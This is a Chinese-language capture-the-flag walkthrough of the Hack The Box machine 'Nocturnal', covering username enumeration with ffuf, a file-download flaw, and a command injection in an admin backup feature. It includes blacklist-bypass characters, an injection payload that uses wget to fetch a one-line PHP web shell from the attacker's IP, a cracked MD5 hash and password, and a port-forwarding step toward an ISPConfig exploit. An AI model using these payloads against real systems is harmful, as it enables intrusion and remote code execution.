0%

HTB-nocturnal

HTB-nocturnal

User

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
➜  nocturnal dirsearch -u http://nocturnal.htb/ --crawl

_|. _ _ _ _ _ _|_ v0.4.3.post1
(_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /Users/r3tr0/hack/hackthebox/machines/nocturnal/reports/http_nocturnal.htb/__25-04-14_16-16-24.txt

Target: http://nocturnal.htb/

[16:16:24] Starting:
[16:16:40] 302 - 0B - /admin.php -> login.php
[16:16:49] 301 - 178B - /backups -> http://nocturnal.htb/backups/
[16:16:50] 403 - 564B - /backups/
[16:16:58] 302 - 0B - /dashboard.php -> login.php
[16:17:07] 200 - 644B - /login.php
[16:17:07] 200 - 649B - /register.php
[16:17:07] 302 - 0B - /logout.php -> login.php
[16:17:23] 403 - 564B - /uploads
[16:17:23] 403 - 564B - /uploads/affwp-debug.log
[16:17:23] 403 - 564B - /uploads/
[16:17:23] 403 - 564B - /uploads/dump.sql
[16:17:23] 403 - 564B - /uploads_admin
[16:17:25] 302 - 3KB - /view.php -> login.php

Task Completed

网站存在登录以及注册的点,先注册一个用户,发现了文件上传的地点,上传完文件后,在浏览文件的链接处发现有用户名枚举并且可以下载任意用户上传的文件的漏洞,用ffuf爆破用户获得敏感信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
➜  nocturnal ffuf -u "http://nocturnal.htb/view.php?username=FUZZ&file=pwn.xlsx" -w /Users/r3tr0/hack/KaliLists/SecLists-master/Usernam
es/xato-net-10-million-usernames-dup.txt -H "Cookie: PHPSESSID=n3jb8nvahqclf3h6fe2af6qvdk" -fs 2985

/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/

v2.1.0-dev
________________________________________________

:: Method : GET
:: URL : http://nocturnal.htb/view.php?username=FUZZ&file=pwn.xlsx
:: Wordlist : FUZZ: /Users/r3tr0/hack/KaliLists/SecLists-master/Usernames/xato-net-10-million-usernames-dup.txt
:: Header : Cookie: PHPSESSID=n3jb8nvahqclf3h6fe2af6qvdk
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 2985
________________________________________________

admin [Status: 200, Size: 3037, Words: 1174, Lines: 129, Duration: 240ms]
amanda [Status: 200, Size: 3113, Words: 1175, Lines: 129, Duration: 101ms]
tobias [Status: 200, Size: 3037, Words: 1174, Lines: 129, Duration: 76ms]
retro [Status: 200, Size: 3115, Words: 1177, Lines: 129, Duration: 77ms]
nocturnal [Status: 200, Size: 3116, Words: 1175, Lines: 129, Duration: 87ms]
admin123 [Status: 200, Size: 3279, Words: 1177, Lines: 129, Duration: 74ms]
sonnyc-Leclair# [Status: 200, Size: 2967, Words: 1170, Lines: 123, Duration: 1921ms]
selm#at1-vatican1 [Status: 200, Size: 2967, Words: 1170, Lines: 123, Duration: 83ms]
n#3ton [Status: 200, Size: 2967, Words: 1170, Lines: 123, Duration: 79ms]
lumitrak [Status: 500, Size: 2919, Words: 1167, Lines: 123, Duration: 98ms]
luminus [Status: 500, Size: 2919, Words: 1167, Lines: 123, Duration: 99ms]
luminox [Status: 500, Size: 2919, Words: 1167, Lines: 123, Duration: 78ms]
luminati [Status: 500, Size: 2919, Words: 1167, Lines: 123, Duration: 80ms]
luminary [Status: 500, Size: 2919, Words: 1167, Lines: 123, Duration: 80ms]
luminari [Status: 500, Size: 2919, Words: 1167, Lines: 123, Duration: 76ms]
luminale [Status: 500, Size: 2919, Words: 1167, Lines: 123, Duration: 86ms]
luminarc [Status: 500, Size: 2919, Words: 1167, Lines: 123, Duration: 86ms]
luminal [Status: 500, Size: 2919, Words: 1167, Lines: 123, Duration: 86ms]
lumilode [Status: 500, Size: 2919, Words: 1167, Lines: 123, Duration: 76ms]
lumierboss [Status: 500, Size: 2919, Words: 1167, Lines: 123, Duration: 75ms]
lumie [Status: 500, Size: 2919, Words: 1167, Lines: 123, Duration: 76ms]
lumes [Status: 500, Size: 2919, Words: 1167, Lines: 123, Duration: 76ms]
lumi.hautaniemi [Status: 500, Size: 2919, Words: 1167, Lines: 123, Duration: 76ms]
lumens [Status: 500, Size: 2919, Words: 1167, Lines: 123, Duration: 79ms]
lumenica1 [Status: 500, Size: 2919, Words: 1167, Lines: 123, Duration: 77ms]
lumene07 [Status: 500, Size: 2919, Words: 1167, Lines: 123, Duration: 78ms]
lumenandrain [Status: 500, Size: 2919, Words: 1167, Lines: 123, Duration: 78ms]
lumbur2 [Status: 500, Size: 2919, Words: 1167, Lines: 123, Duration: 88ms]
lumen-rostik [Status: 500, Size: 2919, Words: 1167, Lines: 123, Duration: 88ms]
lume2000 [Status: 500, Size: 2919, Words: 1167, Lines: 123, Duration: 88ms]
lumbjmk [Status: 500, Size: 2919, Words: 1167, Lines: 123, Duration: 76ms]
lumbertis [Status: 500, Size: 2919, Words: 1167, Lines: 123, Duration: 74ms]
lumberman [Status: 500, Size: 2919, Words: 1167, Lines: 123, Duration: 75ms]
lumberjk [Status: 500, Size: 2919, Words: 1167, Lines: 123, Duration: 75ms]
lumbergh55 [Status: 500, Size: 2919, Words: 1167, Lines: 123, Duration: 76ms]
lumberjax61 [Status: 500, Size: 2919, Words: 1167, Lines: 123, Duration: 77ms]
lumber1 [Status: 500, Size: 2919, Words: 1167, Lines: 123, Duration: 77ms]
lumbatzi [Status: 500, Size: 2919, Words: 1167, Lines: 123, Duration: 77ms]
lumas1-scrw33 [Status: 500, Size: 2919, Words: 1167, Lines: 123, Duration: 77ms]
lumaluma [Status: 500, Size: 2919, Words: 1167, Lines: 123, Duration: 78ms]
lum4life [Status: 500, Size: 2919, Words: 1167, Lines: 123, Duration: 78ms]
lum6erjack [Status: 500, Size: 2919, Words: 1167, Lines: 123, Duration: 78ms]
lulyapa [Status: 500, Size: 2919, Words: 1167, Lines: 123, Duration: 78ms]
lum100 [Status: 500, Size: 2919, Words: 1167, Lines: 123, Duration: 79ms]
luly234 [Status: 500, Size: 2919, Words: 1167, Lines: 123, Duration: 78ms]
luly-wi [Status: 500, Size: 2919, Words: 1167, Lines: 123, Duration: 78ms]
luluz [Status: 500, Size: 2919, Words: 1167, Lines: 123, Duration: 101ms]
jdog#1 [Status: 200, Size: 2967, Words: 1170, Lines: 123, Duration: 78ms]
gR##Efisher [Status: 200, Size: 2967, Words: 1170, Lines: 123, Duration: 86ms]
gR##E [Status: 200, Size: 2967, Words: 1170, Lines: 123, Duration: 86ms]
dansss#1 [Status: 200, Size: 2967, Words: 1170, Lines: 123, Duration: 91ms]
dV1oG#eL [Status: 200, Size: 2967, Words: 1170, Lines: 123, Duration: 75ms]
andy2977# [Status: 200, Size: 2967, Words: 1170, Lines: 123, Duration: 91ms]
Joey#1 [Status: 200, Size: 2967, Words: 1170, Lines: 123, Duration: 90ms]
AHasegawa#D [Status: 200, Size: 2967, Words: 1170, Lines: 123, Duration: 76ms]
:: Progress: [624370/624370] :: Job [1/1] :: 465 req/sec :: Duration: [0:22:38] :: Errors: 1 ::

在amanda用户下发现了敏感文件,privacy.odt,里面有该用户的初始密码,密码登录admin入口处,发现了源码文件泄露,并且存在网站源码的备份下载,下载后在admin.php出发现可能存在命令注入漏洞,下面是admin.php的部份内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
<?php
session_start();

if (!isset($_SESSION['user_id']) || ($_SESSION['username'] !== 'admin' && $_SESSION['username'] !== 'amanda')) {
header('Location: login.php');
exit();
}

function sanitizeFilePath($filePath) {
return basename($filePath); // Only gets the base name of the file
}

// List only PHP files in a directory
function listPhpFiles($dir) {
$files = array_diff(scandir($dir), ['.', '..']);
echo "<ul class='file-list'>";
foreach ($files as $file) {
$sanitizedFile = sanitizeFilePath($file);
if (is_dir($dir . '/' . $sanitizedFile)) {
// Recursively call to list files inside directories
echo "<li class='folder'>📁 <strong>" . htmlspecialchars($sanitizedFile) . "</strong>";
echo "<ul>";
listPhpFiles($dir . '/' . $sanitizedFile);
echo "</ul></li>";
} else if (pathinfo($sanitizedFile, PATHINFO_EXTENSION) === 'php') {
// Show only PHP files
echo "<li class='file'>📄 <a href='admin.php?view=" . urlencode($sanitizedFile) . "'>" . htmlspecialchars($sanitizedFile) . "</a></li>";
}
}
echo "</ul>";
}

// View the content of the PHP file if the 'view' option is passed
if (isset($_GET['view'])) {
$file = sanitizeFilePath($_GET['view']);
$filePath = __DIR__ . '/' . $file;
if (file_exists($filePath) && pathinfo($filePath, PATHINFO_EXTENSION) === 'php') {
$content = htmlspecialchars(file_get_contents($filePath));
} else {
$content = "File not found or invalid path.";
}
}

function cleanEntry($entry) {
$blacklist_chars = [';', '&', '|', '$', ' ', '`', '{', '}', '&&'];

foreach ($blacklist_chars as $char) {
if (strpos($entry, $char) !== false) {
return false; // Malicious input detected
}
}

return htmlspecialchars($entry, ENT_QUOTES, 'UTF-8');
}


?>

<?php
if (isset($_POST['backup']) && !empty($_POST['password'])) {
$password = cleanEntry($_POST['password']);
$backupFile = "backups/backup_" . date('Y-m-d') . ".zip";

if ($password === false) {
echo "<div class='error-message'>Error: Try another password.</div>";
} else {
$logFile = '/tmp/backup_' . uniqid() . '.log';

$command = "zip -x './backups/*' -r -P " . $password . " " . $backupFile . " . > " . $logFile . " 2>&1 &";

$descriptor_spec = [
0 => ["pipe", "r"], // stdin
1 => ["file", $logFile, "w"], // stdout
2 => ["file", $logFile, "w"], // stderr
];

$process = proc_open($command, $descriptor_spec, $pipes);
if (is_resource($process)) {
proc_close($process);
}

sleep(2);

$logContents = file_get_contents($logFile);
if (strpos($logContents, 'zip error') === false) {
echo "<div class='backup-success'>";
echo "<p>Backup created successfully.</p>";
echo "<a href='" . htmlspecialchars($backupFile) . "' class='download-button' download>Download Backup</a>";
echo "<h3>Output:</h3><pre>" . htmlspecialchars($logContents) . "</pre>";
echo "</div>";
} else {
echo "<div class='error-message'>Error creating the backup.</div>";
}

unlink($logFile);
}
}

入口:

1
$command = "zip -x './backups/*' -r -P " . $password . " " . $backupFile . " .  > " . $logFile . " 2>&1 &";

命令注入的黑名单部分

1
2
3
4
5
6
7
8
9
10
11
12
function cleanEntry($entry) {
$blacklist_chars = [';', '&', '|', '$', ' ', '`', '{', '}', '&&'];

foreach ($blacklist_chars as $char) {
if (strpos($entry, $char) !== false) {
return false; // Malicious input detected
}
}

return htmlspecialchars($entry, ENT_QUOTES, 'UTF-8');
}

尝试了strpos函数的绕过方法,但是没法绕过强比较类型,所以尝试其他方法

最后通过查询相关网页(偷看秘籍),发现可以通过换行符,以及特殊字符绕过

以下是可以绕过空格的字符集,在此记录一下

<,<>,%20(space),%09(tab),$IFS$9, I F S , {IFS},IFS,IFS
————————————————

                       版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。

原文链接:https://blog.csdn.net/qq_45655564/article/details/117395152

过滤了分号、&、|等常见的命令拼接方式可以尝试使用%0A换行符进行命令拼接

最后的payload:

1
2
3
4
5
6
# http://nocturnal.htb/admin.php
#
password=%0Abash%09-c%09"wget%0910.10.16.21:81/s.php"%0A&backup=

# s.php
<?php echo `$_REQUEST[1]`; ?>

查询到上层目录中存在db文件,下载下来查看到存在用户密码哈希值,可以爆破也可以在网站上在线破解。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
➜  nocturnal hashcat -m 0 -a 0 '55c82b1ccd55ab219b3b109b07d5061d' /Users/r3tr0/hack/KaliLists/rockyou.txt 
hashcat (v6.2.6) starting

* Device #2: Apple's OpenCL drivers (GPU) are known to be unreliable.
You have been warned.

METAL API (Metal 343.19)
========================
* Device #1: Apple M2, 5408/10922 MB, 8MCU

OpenCL API (OpenCL 1.2 (Apr 13 2024 11:09:23)) - Platform #1 [Apple]
====================================================================
* Device #2: Apple M2, skipped

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Hash
* Single-Salt
* Raw-Hash

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 100c

Host memory required for this attack: 140 MB

Dictionary cache built:
* Filename..: /Users/r3tr0/hack/KaliLists/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 0 secs

55c82b1ccd55ab219b3b109b07d5061d:slowmotionapocalypse

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 0 (MD5)
Hash.Target......: 55c82b1ccd55ab219b3b109b07d5061d
Time.Started.....: Mon Apr 21 10:07:09 2025 (1 sec)
Time.Estimated...: Mon Apr 21 10:07:10 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/Users/r3tr0/hack/KaliLists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 24388.6 kH/s (5.23ms) @ Accel:1024 Loops:1 Thr:64 Vec:1
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 4194304/14344385 (29.24%)
Rejected.........: 0/4194304 (0.00%)
Restore.Point....: 3670016/14344385 (25.59%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: sn781225 -> rogans
Hardware.Mon.#1..: Util: 40%

Started: Mon Apr 21 10:07:03 2025
Stopped: Mon Apr 21 10:07:11 2025

得到用户登录凭证55c82b1ccd55ab219b3b109b07d5061d:slowmotionapocalypse ,ssh登录

Root

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
tobias@nocturnal:~$ netstat -antpl
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:587 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN -
tcp 0 0 10.10.11.64:80 10.10.16.5:45398 FIN_WAIT2 -
tcp 0 0 127.0.0.1:8080 127.0.0.1:55550 TIME_WAIT -
tcp 0 0 127.0.0.1:8080 127.0.0.1:39964 TIME_WAIT -
tcp 0 0 10.10.11.64:22 10.10.16.21:63137 ESTABLISHED -
tcp 0 360 10.10.11.64:22 10.10.16.21:65192 ESTABLISHED -
tcp 0 0 10.10.11.64:80 10.10.16.5:58146 FIN_WAIT2 -
tcp 0 0 10.10.11.64:80 10.10.16.5:60798 FIN_WAIT2 -
tcp 0 0 127.0.0.1:8080 127.0.0.1:60292 TIME_WAIT -
tcp 0 0 10.10.11.64:80 10.10.16.5:59680 FIN_WAIT2 -
tcp 0 0 10.10.11.64:22 10.10.16.22:64081 ESTABLISHED -
tcp6 0 0 :::22 :::* LISTEN -

发现内网开启了8080的服务,代理出来看一波

1
ssh tobias@nocturnal.htb -L 9090:127.0.0.1:8080

也可以用chisel等工具实现

发现是ispconfig的网站,刚好存在漏洞:https://sploitus.com/exploit?id=C8C641AC-8810-5B1B-878E-D064A44248BB

密码同样是user的密码,用户是admin,拿到root权限